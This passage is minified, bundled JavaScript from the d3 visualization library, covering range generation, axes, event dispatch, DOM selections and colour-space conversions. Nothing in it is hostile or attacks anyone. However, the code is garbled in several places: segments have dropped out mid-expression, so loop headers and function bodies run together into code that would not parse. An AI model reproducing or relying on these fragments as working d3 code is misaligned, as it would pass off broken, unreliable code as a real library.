X3(t,e,r){t=+t,e=+e,r=(i=arguments.length)<2?(e=t,t=0,1):i<3?1:+r;for(var n=-1,i=Math.max(0,Math.ceil((e-t)/r))|0,a=new Array(i);++n{"use strict";o(X3,"range")});var Ch=N(()=>{"use strict";pH();HA();vH();xH();bH();yH();gH()});function YA(t){return t}var TH=N(()=>{"use strict";o(YA,"default")});function Pke(t){return"translate("+t+",0)"}function Bke(t){return"translate(0,"+t+")"}function Fke(t){return e=>+t(e)}function $ke(t,e){return e=Math.max(0,t.bandwidth()-e*2)/2,t.round()&&(e=Math.round(e)),r=>+t(r)+e}function zke(){return!this.__axis}function kH(t,e){var r=[],n=null,i=null,a=6,s=6,l=3,u=typeof window<"u"&&window.devicePixelRatio>1?0:.5,h=t===K3||t===j3?-1:1,f=t===j3||t===XA?"x":"y",d=t===K3||t===jA?Pke:Bke;function p(m){var g=n??(e.ticks?e.ticks.apply(e,r):e.domain()),y=i??(e.tickFormat?e.tickFormat.apply(e,r):YA),v=Math.max(a,0)+l,x=e.range(),b=+x[0]+u,T=+x[x.length-1]+u,S=(e.bandwidth?$ke:Fke)(e.copy(),u),w=m.selection?m.selection():m,k=w.selectAll(".domain").data([null]),A=w.selectAll(".tick").data(g,e).order(),C=A.exit(),R=A.enter().append("g").attr("class","tick"),I=A.select("line"),L=A.select("text");k=k.merge(k.enter().insert("path",".tick").attr("class","domain").attr("stroke","currentColor")),A=A.merge(R),I=I.merge(R.append("line").attr("stroke","currentColor").attr(f+"2",h*a)),L=L.merge(R.append("text").attr("fill","currentColor").attr(f,h*v).attr("dy",t===K3?"0em":t===jA?"0.71em":"0.32em")),m!==w&&(k=k.transition(m),A=A.transition(m),I=I.transition(m),L=L.transition(m),C=C.transition(m).attr("opacity",wH).attr("transform",function(E){return isFinite(E=S(E))?d(E+u):this.getAttribute("transform")}),R.attr("opacity",wH).attr("transform",function(E){var D=this.parentNode.__axis;return d((D&&isFinite(D=D(E))?D:S(E))+u)})),C.remove(),k.attr("d",t===j3||t===XA?s?"M"+h*s+","+b+"H"+u+"V"+T+"H"+h*s:"M"+u+","+b+"V"+T:s?"M"+b+","+h*s+"V"+u+"H"+T+"V"+h*s:"M"+b+","+u+"H"+T),A.attr("opacity",1).attr("transform",function(E){return d(S(E)+u)}),I.attr(f+"2",h*a),L.attr(f,h*v).text(y),w.filter(zke).attr("fill","none").attr("font-size",10).attr("font-family","sans-serif").attr("text-anchor",t===XA?"start":t===j3?"end":"middle"),w.each(function(){this.__axis=S})}return o(p,"axis"),p.scale=function(m){return arguments.length?(e=m,p):e},p.ticks=function(){return r=Array.from(arguments),p},p.tickArguments=function(m){return arguments.length?(r=m==null?[]:Array.from(m),p):r.slice()},p.tickValues=function(m){return arguments.length?(n=m==null?null:Array.from(m),p):n&&n.slice()},p.tickFormat=function(m){return arguments.length?(i=m,p):i},p.tickSize=function(m){return arguments.length?(a=s=+m,p):a},p.tickSizeInner=function(m){return arguments.length?(a=+m,p):a},p.tickSizeOuter=function(m){return arguments.length?(s=+m,p):s},p.tickPadding=function(m){return arguments.length?(l=+m,p):l},p.offset=function(m){return arguments.length?(u=+m,p):u},p}function KA(t){return kH(K3,t)}function QA(t){return kH(jA,t)}var K3,XA,jA,j3,wH,EH=N(()=>{"use strict";TH();K3=1,XA=2,jA=3,j3=4,wH=1e-6;o(Pke,"translateX");o(Bke,"translateY");o(Fke,"number");o($ke,"center");o(zke,"entering");o(kH,"axis");o(KA,"axisTop");o(QA,"axisBottom")});var SH=N(()=>{"use strict";EH()});function AH(){for(var t=0,e=arguments.length,r={},n;t=0&&(n=r.slice(i+1),r=r.slice(0,i)),r&&!e.hasOwnProperty(r))throw new Error("unknown type: "+r);return{type:r,name:n}})}function Uke(t,e){for(var r=0,n=t.length,i;r{"use strict";Gke={value:o(()=>{},"value")};o(AH,"dispatch");o(Q3,"Dispatch");o(Vke,"parseTypenames");Q3.prototype=AH.prototype={constructor:Q3,on:o(function(t,e){var r=this._,n=Vke(t+"",r),i,a=-1,s=n.length;if(arguments.length<2){for(;++a0)for(var r=new Array(i),n=0,i,a;n{"use strict";_H()});var Z3,e8,t8=N(()=>{"use strict";Z3="http://www.w3.org/1999/xhtml",e8={svg:"http://www.w3.org/2000/svg",xhtml:Z3,xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"}});function sc(t){var e=t+="",r=e.indexOf(":");return r>=0&&(e=t.slice(0,r))!=="xmlns"&&(t=t.slice(r+1)),e8.hasOwnProperty(e)?{space:e8[e],local:t}:t}var J3=N(()=>{"use strict";t8();o(sc,"default")});function Hke(t){return function(){var e=this.ownerDocument,r=this.namespaceURI;return r===Z3&&e.documentElement.namespaceURI===Z3?e.createElement(t):e.createElementNS(r,t)}}function qke(t){return function(){return this.ownerDocument.createElementNS(t.space,t.local)}}function cv(t){var e=sc(t);return(e.local?qke:Hke)(e)}var r8=N(()=>{"use strict";J3();t8();o(Hke,"creatorInherit");o(qke,"creatorFixed");o(cv,"default")});function Wke(){}function Ah(t){return t==null?Wke:function(){return this.querySelector(t)}}var e5=N(()=>{"use strict";o(Wke,"none");o(Ah,"default")});function n8(t){typeof t!="function"&&(t=Ah(t));for(var e=this._groups,r=e.length,n=new Array(r),i=0;i{"use strict";gl();e5();o(n8,"default")});function i8(t){return t==null?[]:Array.isArray(t)?t:Array.from(t)}var LH=N(()=>{"use strict";o(i8,"array")});function Yke(){return[]}function R0(t){return t==null?Yke:function(){return this.querySelectorAll(t)}}var a8=N(()=>{"use strict";o(Yke,"empty");o(R0,"default")});function Xke(t){return function(){return i8(t.apply(this,arguments))}}function s8(t){typeof t=="function"?t=Xke(t):t=R0(t);for(var e=this._groups,r=e.length,n=[],i=[],a=0;a{"use strict";gl();LH();a8();o(Xke,"arrayAll");o(s8,"default")});function N0(t){return function(){return this.matches(t)}}function t5(t){return function(e){return e.matches(t)}}var uv=N(()=>{"use strict";o(N0,"default");o(t5,"childMatcher")});function Kke(t){return function(){return jke.call(this.children,t)}}function Qke(){return this.firstElementChild}function o8(t){return this.select(t==null?Qke:Kke(typeof t=="function"?t:t5(t)))}var jke,NH=N(()=>{"use strict";uv();jke=Array.prototype.find;o(Kke,"childFind");o(Qke,"childFirst");o(o8,"default")});function Jke(){return Array.from(this.children)}function eEe(t){return function(){return Zke.call(this.children,t)}}function l8(t){return this.selectAll(t==null?Jke:eEe(typeof t=="function"?t:t5(t)))}var Zke,MH=N(()=>{"use strict";uv();Zke=Array.prototype.filter;o(Jke,"children");o(eEe,"childrenFilter");o(l8,"default")});function c8(t){typeof t!="function"&&(t=N0(t));for(var e=this._groups,r=e.length,n=new Array(r),i=0;i{"use strict";gl();uv();o(c8,"default")});function hv(t){return new Array(t.length)}var u8=N(()=>{"use strict";o(hv,"default")});function h8(){return new ui(this._enter||this._groups.map(hv),this._parents)}function fv(t,e){this.ownerDocument=t.ownerDocument,this.namespaceURI=t.namespaceURI,this._next=null,this._parent=t,this.__data__=e}var f8=N(()=>{"use strict";u8();gl();o(h8,"default");o(fv,"EnterNode");fv.prototype={constructor:fv,appendChild:o(function(t){return this._parent.insertBefore(t,this._next)},"appendChild"),insertBefore:o(function(t,e){return this._parent.insertBefore(t,e)},"insertBefore"),querySelector:o(function(t){return this._parent.querySelector(t)},"querySelector"),querySelectorAll:o(function(t){return this._parent.querySelectorAll(t)},"querySelectorAll")}});function d8(t){return function(){return t}}var OH=N(()=>{"use strict";o(d8,"default")});function tEe(t,e,r,n,i,a){for(var s=0,l,u=e.length,h=a.length;s=T&&(T=b+1);!(w=v[T])&&++T{"use strict";gl();f8();OH();o(tEe,"bindIndex");o(rEe,"bindKey");o(nEe,"datum");o(p8,"default");o(iEe,"arraylike")});function m8(){return new ui(this._exit||this._groups.map(hv),this._parents)}var BH=N(()=>{"use strict";u8();gl();o(m8,"default")});function g8(t,e,r){var n=this.enter(),i=this,a=this.exit();return typeof t=="function"?(n=t(n),n&&(n=n.selection())):n=n.append(t+""),e!=null&&(i=e(i),i&&(i=i.selection())),r==null?a.remove():r(a),n&&i?n.merge(i).order():i}var FH=N(()=>{"use strict";o(g8,"default")});function y8(t){for(var e=t.selection?t.selection():t,r=this._groups,n=e._groups,i=r.length,a=n.length,s=Math.min(i,a),l=new Array(i),u=0;u{"use strict";gl();o(y8,"default")});function v8(){for(var t=this._groups,e=-1,r=t.length;++e=0;)(s=n[i])&&(a&&s.compareDocumentPosition(a)^4&&a.parentNode.insertBefore(s,a),a=s);return this}var zH=N(()=>{"use strict";o(v8,"default")});function x8(t){t||(t=aEe);function e(d,p){return d&&p?t(d.__data__,p.__data__):!d-!p}o(e,"compareNode");for(var r=this._groups,n=r.length,i=new Array(n),a=0;ae?1:t>=e?0:NaN}var GH=N(()=>{"use strict";gl();o(x8,"default");o(aEe,"ascending")});function b8(){var t=arguments[0];return arguments[0]=this,t.apply(null,arguments),this}var VH=N(()=>{"use strict";o(b8,"default")});function T8(){return Array.from(this)}var UH=N(()=>{"use strict";o(T8,"default")});function w8(){for(var t=this._groups,e=0,r=t.length;e{"use strict";o(w8,"default")});function k8(){let t=0;for(let e of this)++t;return t}var qH=N(()=>{"use strict";o(k8,"default")});function E8(){return!this.node()}var WH=N(()=>{"use strict";o(E8,"default")});function S8(t){for(var e=this._groups,r=0,n=e.length;r{"use strict";o(S8,"default")});function sEe(t){return function(){this.removeAttribute(t)}}function oEe(t){return function(){this.removeAttributeNS(t.space,t.local)}}function lEe(t,e){return function(){this.setAttribute(t,e)}}function cEe(t,e){return function(){this.setAttributeNS(t.space,t.local,e)}}function uEe(t,e){return function(){var r=e.apply(this,arguments);r==null?this.removeAttribute(t):this.setAttribute(t,r)}}function hEe(t,e){return function(){var r=e.apply(this,arguments);r==null?this.removeAttributeNS(t.space,t.local):this.setAttributeNS(t.space,t.local,r)}}function C8(t,e){var r=sc(t);if(arguments.length<2){var n=this.node();return r.local?n.getAttributeNS(r.space,r.local):n.getAttribute(r)}return this.each((e==null?r.local?oEe:sEe:typeof e=="function"?r.local?hEe:uEe:r.local?cEe:lEe)(r,e))}var XH=N(()=>{"use strict";J3();o(sEe,"attrRemove");o(oEe,"attrRemoveNS");o(lEe,"attrConstant");o(cEe,"attrConstantNS");o(uEe,"attrFunction");o(hEe,"attrFunctionNS");o(C8,"default")});function dv(t){return t.ownerDocument&&t.ownerDocument.defaultView||t.document&&t||t.defaultView}var A8=N(()=>{"use strict";o(dv,"default")});function fEe(t){return function(){this.style.removeProperty(t)}}function dEe(t,e,r){return function(){this.style.setProperty(t,e,r)}}function pEe(t,e,r){return function(){var n=e.apply(this,arguments);n==null?this.style.removeProperty(t):this.style.setProperty(t,n,r)}}function _8(t,e,r){return arguments.length>1?this.each((e==null?fEe:typeof e=="function"?pEe:dEe)(t,e,r??"")):_h(this.node(),t)}function _h(t,e){return t.style.getPropertyValue(e)||dv(t).getComputedStyle(t,null).getPropertyValue(e)}var D8=N(()=>{"use strict";A8();o(fEe,"styleRemove");o(dEe,"styleConstant");o(pEe,"styleFunction");o(_8,"default");o(_h,"styleValue")});function mEe(t){return function(){delete this[t]}}function gEe(t,e){return function(){this[t]=e}}function yEe(t,e){return function(){var r=e.apply(this,arguments);r==null?delete this[t]:this[t]=r}}function L8(t,e){return arguments.length>1?this.each((e==null?mEe:typeof e=="function"?yEe:gEe)(t,e)):this.node()[t]}var jH=N(()=>{"use strict";o(mEe,"propertyRemove");o(gEe,"propertyConstant");o(yEe,"propertyFunction");o(L8,"default")});function KH(t){return t.trim().split(/^|\s+/)}function R8(t){return t.classList||new QH(t)}function QH(t){this._node=t,this._names=KH(t.getAttribute("class")||"")}function ZH(t,e){for(var r=R8(t),n=-1,i=e.length;++n{"use strict";o(KH,"classArray");o(R8,"classList");o(QH,"ClassList");QH.prototype={add:o(function(t){var e=this._names.indexOf(t);e<0&&(this._names.push(t),this._node.setAttribute("class",this._names.join(" ")))},"add"),remove:o(function(t){var e=this._names.indexOf(t);e>=0&&(this._names.splice(e,1),this._node.setAttribute("class",this._names.join(" ")))},"remove"),contains:o(function(t){return this._names.indexOf(t)>=0},"contains")};o(ZH,"classedAdd");o(JH,"classedRemove");o(vEe,"classedTrue");o(xEe,"classedFalse");o(bEe,"classedFunction");o(N8,"default")});function TEe(){this.textContent=""}function wEe(t){return function(){this.textContent=t}}function kEe(t){return function(){var e=t.apply(this,arguments);this.textContent=e??""}}function M8(t){return arguments.length?this.each(t==null?TEe:(typeof t=="function"?kEe:wEe)(t)):this.node().textContent}var tq=N(()=>{"use strict";o(TEe,"textRemove");o(wEe,"textConstant");o(kEe,"textFunction");o(M8,"default")});function EEe(){this.innerHTML=""}function SEe(t){return function(){this.innerHTML=t}}function CEe(t){return function(){var e=t.apply(this,arguments);this.innerHTML=e??""}}function I8(t){return arguments.length?this.each(t==null?EEe:(typeof t=="function"?CEe:SEe)(t)):this.node().innerHTML}var rq=N(()=>{"use strict";o(EEe,"htmlRemove");o(SEe,"htmlConstant");o(CEe,"htmlFunction");o(I8,"default")});function AEe(){this.nextSibling&&this.parentNode.appendChild(this)}function O8(){return this.each(AEe)}var nq=N(()=>{"use strict";o(AEe,"raise");o(O8,"default")});function _Ee(){this.previousSibling&&this.parentNode.insertBefore(this,this.parentNode.firstChild)}function P8(){return this.each(_Ee)}var iq=N(()=>{"use strict";o(_Ee,"lower");o(P8,"default")});function B8(t){var e=typeof t=="function"?t:cv(t);return this.select(function(){return this.appendChild(e.apply(this,arguments))})}var aq=N(()=>{"use strict";r8();o(B8,"default")});function DEe(){return null}function F8(t,e){var r=typeof t=="function"?t:cv(t),n=e==null?DEe:typeof e=="function"?e:Ah(e);return this.select(function(){return this.insertBefore(r.apply(this,arguments),n.apply(this,arguments)||null)})}var sq=N(()=>{"use strict";r8();e5();o(DEe,"constantNull");o(F8,"default")});function LEe(){var t=this.parentNode;t&&t.removeChild(this)}function $8(){return this.each(LEe)}var oq=N(()=>{"use strict";o(LEe,"remove");o($8,"default")});function REe(){var t=this.cloneNode(!1),e=this.parentNode;return e?e.insertBefore(t,this.nextSibling):t}function NEe(){var t=this.cloneNode(!0),e=this.parentNode;return e?e.insertBefore(t,this.nextSibling):t}function z8(t){return this.select(t?NEe:REe)}var lq=N(()=>{"use strict";o(REe,"selection_cloneShallow");o(NEe,"selection_cloneDeep");o(z8,"default")});function G8(t){return arguments.length?this.property("__data__",t):this.node().__data__}var cq=N(()=>{"use strict";o(G8,"default")});function MEe(t){return function(e){t.call(this,e,this.__data__)}}function IEe(t){return t.trim().split(/^|\s+/).map(function(e){var r="",n=e.indexOf(".");return n>=0&&(r=e.slice(n+1),e=e.slice(0,n)),{type:e,name:r}})}function OEe(t){return function(){var e=this.__on;if(e){for(var r=0,n=-1,i=e.length,a;r{"use strict";o(MEe,"contextListener");o(IEe,"parseTypenames");o(OEe,"onRemove");o(PEe,"onAdd");o(V8,"default")});function hq(t,e,r){var n=dv(t),i=n.CustomEvent;typeof i=="function"?i=new i(e,r):(i=n.document.createEvent("Event"),r?(i.initEvent(e,r.bubbles,r.cancelable),i.detail=r.detail):i.initEvent(e,!1,!1)),t.dispatchEvent(i)}function BEe(t,e){return function(){return hq(this,t,e)}}function FEe(t,e){return function(){return hq(this,t,e.apply(this,arguments))}}function U8(t,e){return this.each((typeof e=="function"?FEe:BEe)(t,e))}var fq=N(()=>{"use strict";A8();o(hq,"dispatchEvent");o(BEe,"dispatchConstant");o(FEe,"dispatchFunction");o(U8,"default")});function*H8(){for(var t=this._groups,e=0,r=t.length;e{"use strict";o(H8,"default")});function ui(t,e){this._groups=t,this._parents=e}function pq(){return new ui([[document.documentElement]],q8)}function $Ee(){return this}var q8,yu,gl=N(()=>{"use strict";DH();RH();NH();MH();IH();PH();f8();BH();FH();$H();zH();GH();VH();UH();HH();qH();WH();YH();XH();D8();jH();eq();tq();rq();nq();iq();aq();sq();oq();lq();cq();uq();fq();dq();q8=[null];o(ui,"Selection");o(pq,"selection");o($Ee,"selection_selection");ui.prototype=pq.prototype={constructor:ui,select:n8,selectAll:s8,selectChild:o8,selectChildren:l8,filter:c8,data:p8,enter:h8,exit:m8,join:g8,merge:y8,selection:$Ee,order:v8,sort:x8,call:b8,nodes:T8,node:w8,size:k8,empty:E8,each:S8,attr:C8,style:_8,property:L8,classed:N8,text:M8,html:I8,raise:O8,lower:P8,append:B8,insert:F8,remove:$8,clone:z8,datum:G8,on:V8,dispatch:U8,[Symbol.iterator]:H8};yu=pq});function qe(t){return typeof t=="string"?new ui([[document.querySelector(t)]],[document.documentElement]):new ui([[t]],q8)}var mq=N(()=>{"use strict";gl();o(qe,"default")});var yl=N(()=>{"use strict";uv();J3();mq();gl();e5();a8();D8()});var gq=N(()=>{"use strict"});function Dh(t,e,r){t.prototype=e.prototype=r,r.constructor=t}function M0(t,e){var r=Object.create(t.prototype);for(var n in e)r[n]=e[n];return r}var W8=N(()=>{"use strict";o(Dh,"default");o(M0,"extend")});function Lh(){}function vq(){return this.rgb().formatHex()}function YEe(){return this.rgb().formatHex8()}function XEe(){return Sq(this).formatHsl()}function xq(){return this.rgb().formatRgb()}function xl(t){var e,r;return t=(t+"").trim().toLowerCase(),(e=zEe.exec(t))?(r=e[1].length,e=parseInt(e[1],16),r===6?bq(e):r===3?new oa(e>>8&15|e>>4&240,e>>4&15|e&240,(e&15)<<4|e&15,1):r===8?r5(e>>24&255,e>>16&255,e>>8&255,(e&255)/255):r===4?r5(e>>12&15|e>>8&240,e>>8&15|e>>4&240,e>>4&15|e&240,((e&15)<<4|e&15)/255):null):(e=GEe.exec(t))?new oa(e[1],e[2],e[3],1):(e=VEe.exec(t))?new oa(e[1]*255/100,e[2]*255/100,e[3]*255/100,1):(e=UEe.exec(t))?r5(e[1],e[2],e[3],e[4]):(e=HEe.exec(t))?r5(e[1]*255/100,e[2]*255/100,e[3]*255/100,e[4]):(e=qEe.exec(t))?kq(e[1],e[2]/100,e[3]/100,1):(e=WEe.exec(t))?kq(e[1],e[2]/100,e[3]/100,e[4]):yq.hasOwnProperty(t)?bq(yq[t]):t==="transparent"?new oa(NaN,NaN,NaN,0):null}function bq(t){return new oa(t>>16&255,t>>8&255,t&255,1)}function r5(t,e,r,n){return n<=0&&(t=e=r=NaN),new oa(t,e,r,n)}function X8(t){return t instanceof Lh||(t=xl(t)),t?(t=t.rgb(),new oa(t.r,t.g,t.b,t.opacity)):new oa}function O0(t,e,r,n){return arguments.length===1?X8(t):new oa(t,e,r,n??1)}function oa(t,e,r,n){this.r=+t,this.g=+e,this.b=+r,this.opacity=+n}function Tq(){return`#${wd(this.r)}${wd(this.g)}${wd(this.b)}`}function jEe(){return`#${wd(this.r)}${wd(this.g)}${wd(this.b)}${wd((isNaN(this.opacity)?1:this.opacity)*255)}`}function wq(){let t=a5(this.opacity);return`${t===1?"rgb(":"rgba("}${kd(this.r)}, ${kd(this.g)}, ${kd(this.b)}${t===1?")":`, ${t})`}`}function a5(t){return isNaN(t)?1:Math.max(0,Math.min(1,t))}function kd(t){return Math.max(0,Math.min(255,Math.round(t)||0))}function wd(t){return t=kd(t),(t<16?"0":"")+t.toString(16)}function kq(t,e,r,n){return n<=0?t=e=r=NaN:r<=0||r>=1?t=e=NaN:e<=0&&(t=NaN),new vl(t,e,r,n)}function Sq(t){if(t instanceof vl)return new vl(t.h,t.s,t.l,t.opacity);if(t instanceof Lh||(t=xl(t)),!t)return new vl;if(t instanceof vl)return t;t=t.rgb();var e=t.r/255,r=t.g/255,n=t.b/255,i=Math.min(e,r,n),a=Math.max(e,r,n),s=NaN,l=a-i,u=(a+i)/2;return l?(e===a?s=(r-n)/l+(r0&&u<1?0:s,new vl(s,l,u,t.opacity)}function Cq(t,e,r,n){return arguments.length===1?Sq(t):new vl(t,e,r,n??1)}function vl(t,e,r,n){this.h=+t,this.s=+e,this.l=+r,this.opacity=+n}function Eq(t){return t=(t||0)%360,t<0?t+360:t}function n5(t){return Math.max(0,Math.min(1,t||0))}function Y8(t,e,r){return(t<60?e+(r-e)*t/60:t<180?r:t<240?e+(r-e)*(240-t)/60:e)*255}var pv,i5,I0,mv,oc,zEe,GEe,VEe,UEe,HEe,qEe,WEe,yq,j8=N(()=>{"use strict";W8();o(Lh,"Color");pv=.7,i5=1/pv,I0="\\s*([+-]?\\d+)\\s*",mv="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)\\s*",oc="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)%\\s*",zEe=/^#([0-9a-f]{3,8})$/,GEe=new RegExp(`^rgb\\(${I0},${I0},${I0}\\)$`),VEe=new RegExp(`^rgb\\(${oc},${oc},${oc}\\)$`),UEe=new RegExp(`^rgba\\(${I0},${I0},${I0},${mv}\\)$`),HEe=new RegExp(`^rgba\\(${oc},${oc},${oc},${mv}\\)$`),qEe=new RegExp(`^hsl\\(${mv},${oc},${oc}\\)$`),WEe=new RegExp(`^hsla\\(${mv},${oc},${oc},${mv}\\)$`),yq={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074};Dh(Lh,xl,{copy(t){return Object.assign(new this.constructor,this,t)},displayable(){return this.rgb().displayable()},hex:vq,formatHex:vq,formatHex8:YEe,formatHsl:XEe,formatRgb:xq,toString:xq});o(vq,"color_formatHex");o(YEe,"color_formatHex8");o(XEe,"color_formatHsl");o(xq,"color_formatRgb");o(xl,"color");o(bq,"rgbn");o(r5,"rgba");o(X8,"rgbConvert");o(O0,"rgb");o(oa,"Rgb");Dh(oa,O0,M0(Lh,{brighter(t){return t=t==null?i5:Math.pow(i5,t),new oa(this.r*t,this.g*t,this.b*t,this.opacity)},darker(t){return t=t==null?pv:Math.pow(pv,t),new oa(this.r*t,this.g*t,this.b*t,this.opacity)},rgb(){return this},clamp(){return new oa(kd(this.r),kd(this.g),kd(this.b),a5(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:Tq,formatHex:Tq,formatHex8:jEe,formatRgb:wq,toString:wq}));o(Tq,"rgb_formatHex");o(jEe,"rgb_formatHex8");o(wq,"rgb_formatRgb");o(a5,"clampa");o(kd,"clampi");o(wd,"hex");o(kq,"hsla");o(Sq,"hslConvert");o(Cq,"hsl");o(vl,"Hsl");Dh(vl,Cq,M0(Lh,{brighter(t){return t=t==null?i5:Math.pow(i5,t),new vl(this.h,this.s,this.l*t,this.opacity)},darker(t){return t=t==null?pv:Math.pow(pv,t),new vl(this.h,this.s,this.l*t,this.opacity)},rgb(){var t=this.h%360+(this.h<0)*360,e=isNaN(t)||isNaN(this.s)?0:this.s,r=this.l,n=r+(r<.5?r:1-r)*e,i=2*r-n;return new oa(Y8(t>=240?t-240:t+120,i,n),Y8(t,i,n),Y8(t<120?t+240:t-120,i,n),this.opacity)},clamp(){return new vl(Eq(this.h),n5(this.s),n5(this.l),a5(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){let t=a5(this.opacity);return`${t===1?"hsl(":"hsla("}${Eq(this.h)}, ${n5(this.s)*100}%, ${n5(this.l)*100}%${t===1?")":`, ${t})`}`}}));o(Eq,"clamph");o(n5,"clampt");o(Y8,"hsl2rgb")});var Aq,_q,Dq=N(()=>{"use strict";Aq=Math.PI/180,_q=180/Math.PI});function Oq(t){if(t instanceof lc)return new lc(t.l,t.a,t.b,t.opacity);if(t instanceof vu)return Pq(t);t instanceof oa||(t=X8(t));var e=J8(t.r),r=J8(t.g),n=J8(t.b),i=K8((.2225045*e+.7168786*r+.0606169*n)/Rq),a,s;return e===r&&r===n?a=s=i:(a=K8((.4360747*e+.3850649*r+.1430804*n)/Lq),s=K8((.0139322*e+.0971045*r+.7141733*n)/Nq)),new lc(116*i-16,500*(a-i),200*(i-s),t.opacity)}function e_(t,e,r,n){return arguments.length===1?Oq(t):new lc(t,e,r,n??1)}function lc(t,e,r,n){this.l=+t,this.a=+e,this.b=+r,this.opacity=+n}function K8(t){return t>KEe?Math.pow(t,1/3):t/Iq+Mq}function Q8(t){return t>P0?t*t*t:Iq*(t-Mq)}function Z8(t){return 255*(t<=.0031308?12.92*t:1.055*Math.pow(t,1/2.4)-.055)}function J8(t){return(t/=255)<=.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)}function QEe(t){if(t instanceof vu)return new vu(t.h,t.c,t.l,t.opacity);if(t instanceof lc||(t=Oq(t)),t.a===0&&t.b===0)return new vu(NaN,0{"use strict";W8();j8();Dq();s5=18,Lq=.96422,Rq=1,Nq=.82521,Mq=4/29,P0=6/29,Iq=3*P0*P0,KEe=P0*P0*P0;o(Oq,"labConvert");o(e_,"lab");o(lc,"Lab");Dh(lc,e_,M0(Lh,{brighter(t){return new lc(this.l+s5*(t??1),this.a,this.b,this.opacity)},darker(t){return new lc(this.l-s5*(t??1),this.a,this.b,this.opacity)},rgb(){var t=(this.l+16)/116,e=isNaN(this.a)?t:t+this.a/500,r=isNaN(this.b)?t:t-this.b/200;return e=Lq*Q8(e),t=Rq*Q8(t),r=Nq*Q8(r),new oa(Z8(3.1338561*e-1.6168667*t-.4906146*r),Z8(-.9787684*e+1.9161415*t+.033454*r),Z8(.0719453*e-.2289914*t+1.4052427*r),this.opacity)}}));o(K8,"xyz2lab");o(Q8,"lab2xyz");o(Z8,"lrgb2rgb");o(J8,"rgb2lrgb");o(QEe,"hclConvert");o(gv,"hcl");o(vu,"Hcl");o(Pq,"hcl2lab");Dh(vu,gv,M0(Lh,{brighter(t){return new vu(this.h,this.c,this.l+s5*(t??1),this.opacity)},darker(t){return new vu(this.h,this.c,this.l-s5*(t??1),this.opacity)},rgb(){return Pq(this).rgb()}}))});var B0=N(()=>{"use strict";j8();Bq()});function t_(t,e,r,n,i){var a=t*t,s=a*t;return((1-3*t+3*a-s)*e+(4-6*a+3*s)*r+(1+3*t+3*a-3*s)*n+s*i)/6}function r_(t){var e=t.length-1;return function(r){var n=r<=0?r=0:r>=1?(r=1,e-1):Math.floor(r*e),i=t[n],a=t[n+1],s=n>0?t[n-1]:2*i-a,l=n{"use strict";o(t_,"basis");o(r_,"default")});function i_(t){var e=t.length;return function(r){var n=Math.floor(((r%=1)<0?++r:r)*e),i=t[(n+e-1)%e],a=t[n%e],s=t[(n+1)%e],l=t[(n+2)%e];return t_((r-n/e)*e,i,a,s,l)}}var Fq=N(()=>{"use strict";n_();o(i_,"default")});var F0,a_=N(()=>{"use strict";F0=o(t=>()=>t,"default")});function $q(t,e){return function(r){return t+r*e}}function ZEe(t,e,r){return t=Math.pow(t,r),e=Math.pow(e,r)-t,r=1/r,function(n){return Math.pow(t+n*e,r)}}function zq(t,e){var r=e-t;return r?$q(t,r>180||r<-180?r-360*Math.round(r/360):r):F0(isNaN(t)?e:t)}function Gq(t){return(t=+t)==1?xu:function(e,r){return r-e?ZEe(e,r,t):F0(isNaN(e)?r:e)}}function xu(t,e){var r=e-t;return 